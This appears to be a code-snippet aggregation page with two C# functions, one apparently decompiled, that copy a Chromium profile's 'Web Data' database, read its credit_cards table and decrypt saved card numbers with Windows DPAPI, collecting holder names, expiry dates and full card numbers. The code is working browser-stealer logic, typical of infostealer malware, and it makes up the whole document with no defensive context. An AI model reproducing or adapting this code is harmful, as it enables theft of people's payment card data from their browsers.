示例#1
0
        public List <BrowserCreditCard> EnumCC(string profilePath)
        {
            List <BrowserCreditCard> list = new List <BrowserCreditCard>();

            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                if (!File.Exists(text))
                {
                    return(list);
                }
                CNT cNT = new CNT(rcvr.CreateTempCopy(text));
                cNT.ReadTable("credit_cards");
                for (int i = 0; i < cNT.RowLength; i++)
                {
                    BrowserCreditCard browserCreditCard = null;
                    try
                    {
                        browserCreditCard = new BrowserCreditCard
                        {
                            Holder          = cNT.ParseValue(i, "name_on_card").Trim(),
                            ExpirationMonth = Convert.ToInt32(cNT.ParseValue(i, "expiration_month").Trim()),
                            ExpirationYear  = Convert.ToInt32(cNT.ParseValue(i, "expiration_year").Trim()),
                            CardNumber      = rcvr.DecryptBlob(cNT.ParseValue(i, "card_number_encrypted"), DataProtectionScope.CurrentUser).Trim()
                        };
                    }
                    catch
                    {
                    }
                    if (browserCreditCard != null)
                    {
                        list.Add(browserCreditCard);
                    }
                }
                return(list);
            }
            catch
            {
                return(list);
            }
        }
示例#2
0
        // Token: 0x060000B0 RID: 176 RVA: 0x00005858 File Offset: 0x00003A58
        public static IEnumerable <BrowserCreditCard> ExtractCreditCards(string profilePath)
        {
            List <BrowserCreditCard> list = new List <BrowserCreditCard>();

            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                if (!File.Exists(text))
                {
                    return(list);
                }
                SQLiteManager sqliteManager = new SQLiteManager(ChromiumManager.CreateTempCopy(text));
                sqliteManager.ReadTable("credit_cards");
                for (int i = 0; i < sqliteManager.GetRowCount(); i++)
                {
                    BrowserCreditCard browserCreditCard = null;
                    try
                    {
                        browserCreditCard = new BrowserCreditCard
                        {
                            Holder          = sqliteManager.GetValue(i, "name_on_card").Trim(),
                            ExpirationMonth = Convert.ToInt32(sqliteManager.GetValue(i, "expiration_month").Trim()),
                            ExpirationYear  = Convert.ToInt32(sqliteManager.GetValue(i, "expiration_year").Trim()),
                            CardNumber      = ChromiumManager.DecryptBlob(sqliteManager.GetValue(i, "card_number_encrypted"), DataProtectionScope.CurrentUser, null, false).Trim()
                        };
                    }
                    catch
                    {
                    }
                    if (browserCreditCard != null)
                    {
                        list.Add(browserCreditCard);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }